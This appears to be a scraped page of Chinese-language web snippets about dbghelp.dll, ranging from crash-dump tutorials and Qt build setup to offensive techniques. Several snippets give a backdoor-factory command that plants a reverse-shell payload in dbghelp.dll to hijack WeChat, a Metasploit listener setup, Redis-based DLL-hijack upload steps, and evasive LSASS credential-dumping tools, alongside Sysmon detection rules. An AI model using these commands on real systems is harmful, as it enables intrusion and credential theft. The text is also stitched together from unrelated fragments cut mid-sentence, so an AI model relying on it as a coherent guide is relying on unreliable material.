Wine-dbg>b MessageBoxA 013c:fixme:dbghelp_dwarf:dwarf2_parse_compilation_unit Should have a compilation :elf_search_auxv can't find symbol in module 013c:fixme:dbghelp_dwarf:dwarf2_get_cie wrong CIE pointer at 0 from FDE 279c 013c:fixme:dbghelp_dwarf:dwarf2_get_cie wrong CIE pointer at 0 from FDE 279c 013c at 0 from FDE 279c 013c:fixme:dbghelp_dwarf:dwarf2_get_cie wrong CIE pointer at 0 from FDE 279c 013c :fixme:dbghelp_dwarf:dwarf2_get_cie wrong CIE pointer at 0 from FDE 279c 013c:fixme:dbghelp_dwarf:dwarf2
调用的东西还挺多 这里就拿“dbghelp.dll”来玩玩。 3、神器backdoor-factory出场。 先配置一下反弹的端口跟ip。 代码: python backdoor.py -f Jaky/dbghelp.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.124.11 (路径 把这个生成后门的“dbghelp.dll”放回回来的位置,让微信运行时,能被调用。 4、msf开启监听模式 set lport 6666 set lhost 192.168.124.11 ?
DMP代码编写 包含头文件和引用Lib库 #include <DbgHelp.h> #include <tchar.h> #pragma comment (lib, "dbghelp.lib") 线程函数 LONG _stdcall ApplicationCrashHandler(PEXCEPTION_POINTERS pException
(工具会默认设置为 no ,等工具退出的时候再重新设置回原来的值yes) config set stop-writes-on-bgsave-error no dll劫持 利用dbghelp.dll:https 127.0.0.1 -p 6378 -w 123456 -L 127.0.0.1 -P 2222 -rp c:\users\public -rf test.exe -lf artifact.exe 上传 dbghelp.dll -rf dbghelp.dll -lf dbghelp.dll 触发dll劫持 .
有一天想重新研究这个问题,看这个帖子http://apps.hi.baidu.com/share/detail/17547925突然注意到dbgHelp.dll的问题,果然在dumper.exe目录下放入别的版本的 dbgHelp.dll之后问题解决.
system32 文件夹路径 cDrivers = cbNeeded / sizeof(LPVOID); // 驱动个数 //得到C:\Windows\system32\dbghelp.dll GetSystemDirectory(szSystemPath, sizeof(szSystemPath)); strcat_s(szSystemPath, "\\dbghelp.dll
#include <windows.h> #include <DbgHelp.h> #include<string.h> #include<iostream> #pragma comment( lib, "Dbghelp.lib" ) using namespace std; void CreateDumpFile(LPCWSTR lpstrDumpFilePathName, EXCEPTION_POINTERS
这工具好像是调用MiniDumpWriteDump api来dump内存的,自己都可以用c++实现个 #include "stdafx.h" #include <windows.h> #include <DbgHelp.h << endl; } return 0; } 会调用dbghelp.dll 文件,所以需要给依赖 2.HandleKatz github:https://github.com/codewhitesec 可以选择在不接触磁盘的情况下下载转储或将其写入文件 默认情况下,小型转储具有无效签名以避免检测 通过忽略不相关的 DLL 来减小转储的大小,转储的大小往往在 10 MB 左右 不需要提供 LSASS 的 PID(默认是不提供的) 不调用dbghelp 可以看到在dump lsass内存的手法上免杀成功总结大概几点: 系统调用实现大部分功能 混淆内容 使用命名管道传输结果,实现无文件 不再调用dbghelp库文件 小型转储,无明显特征 热爱免杀
插入恶意代码,这里用的函数转发劫持,大致流程如下图所示: https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/ 2.2 劫持dbghelp.dll redis-server.exe在执行bgsave时,会先在应用目录查找dbghelp.dll,找不到再去system32目录下找: 而不管redis的权限是Administrator还是普通用户或者 如果没有使用原DLL的绝对路径,在Process Monitor可以看到,只会调用应用程序目录里的恶意DLL,并没有调用原本的system32下的dbghelp.dll: 从而redis的功能受到影响 工具使用 工具下载地址: https://github.com/P4r4d1se/dll_hijack 如是是Windows 64位的Redis DLL劫持的话,可以直接用里面的VS2022版的dbghelp 其他要用我修改后的DllHijacker.py和目标DLL路径生成VS项目: python3 DLLHijacker.py C:\Windows\System32\dbghelp.dll 下载安装
调用的东西还挺多 这里就拿“dbghelp.dll”来玩玩。 3、神器backdoor-factory出场。 先配置一下反弹的端口跟ip。 代码: python backdoor.py -f Jaky/dbghelp.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.124.11 (路径 把这个生成后门的“dbghelp.dll”放回回来的位置,让微信运行时,能被调用。 4、msf开启监听模式 set lport 6666 set lhost 192.168.124.11 ?
Procdump 或者任务管理器通过 dbghelp.dll 或者 dbgcore.dll 来调用内存转储写入函数——MiniDumpWriteDump。 因此我们可以使用 sysmon 监控 ProcessAccess(进程访问)事件,并筛选出 TargetImage 为 lsass.exe(或者其他敏感进程)并且 CallTrace 包含 dbghelp.dll > <TargetImage condition="**end with**">lsass.exe</TargetImage> <CallTrace condition="**Contains**">Dbghelp.dll *dbghelp.*)|(.*dbgcore.*))' and TargetImage imatches '.
目前很多的dump手法使用的是利用MiniDumpWriteDump这个API进行进程的内存dump,demo如下: #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <TlHelp32.h> #pragma comment( lib, "Dbghelp.lib" ) using namespace std;
MiniDumpHelper { [Flags] public enum Option : uint { // From dbghelp.h CallbackParam // ); // Overload requiring MiniDumpExceptionInformation [DllImport("dbghelp.dll callbackParam); // Overload supporting MiniDumpExceptionInformation == NULL [DllImport("dbghelp.dll
#include<Windows.h> #include<DbgHelp.h> #pragma comment(lib,"DbgHelp.lib") // 创建Dump文件 void CreateDumpFile
如果DbgHelp.lib文件报错的话,可以按照下列方式解决: 1、点击“Project->Properties->Linker->Input”,在“Configuration”下拉菜单中选择“All Configurations”; 2、在“Additional Dependencies”中添加“DbgHelp.lib”; 3、在同一个标签页中,“Ignore All Default Libraries
LetMeowIn 的核心是使用 dbghelp.dll 中的 MiniDumpWriteDump 函数创建 LSASS 进程的内存转储,但它并非直接将转储写入磁盘,而是先使用 MINIDUMP_CALLBACK_INFORMATION 混淆 在下面的代码片段中,库“dbghelp.dll”被拆分成一个包含单个字符的数组,并读入变量“lldplehgbd”。 dbghelp.dll 的图像加载(Sysmon 7): 监视生成 Sysmon 事件 ID 7 的 dbghelp.dll 的加载情况。
QApplication>#include <qt_windows.h>// D:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um#include <DbgHelp.h >#pragma comment(lib,"Dbghelp.lib")/** * 异常回调函数,用于生成崩溃转储文件 * @param pexcp 异常信息指针 * @return 异常处理返回值 */ 设置符号路径所谓的符号就是设置Qt_DbgHelp.pdb的路径目录,等下会自动定位代码报错的位置。然后点击本机调试,就会自动定位带源文件代码位置。
捕获异常、弹窗提示用户 2.1 main.cpp代码 #include "widget.h" #include <QApplication> #include <winsock2.h> #include <dbghelp.h 、生成DMP文件 3.1 main.cpp代码 #include "widget.h" #include <QApplication> #include <winsock2.h> #include <dbghelp.h
/lib/win32_vc_i386; Additional Dependencies dbghelp.lib dxguid.lib wsock32.lib rpcrt4.lib wininet.lib /lib/win32_vc_i386; Additional Dependencies dbghelp.lib dxguid.lib wsock32.lib rpcrt4.lib wininet.lib
include <stdlib.h> #include <stdio.h> #include <ostream> #ifdef _MSC_VER #include <windows.h> #include <DbgHelp.h > #pragma comment(lib, "dbghelp.lib") #ifndef _M_IX86 #error "The following code only works for x86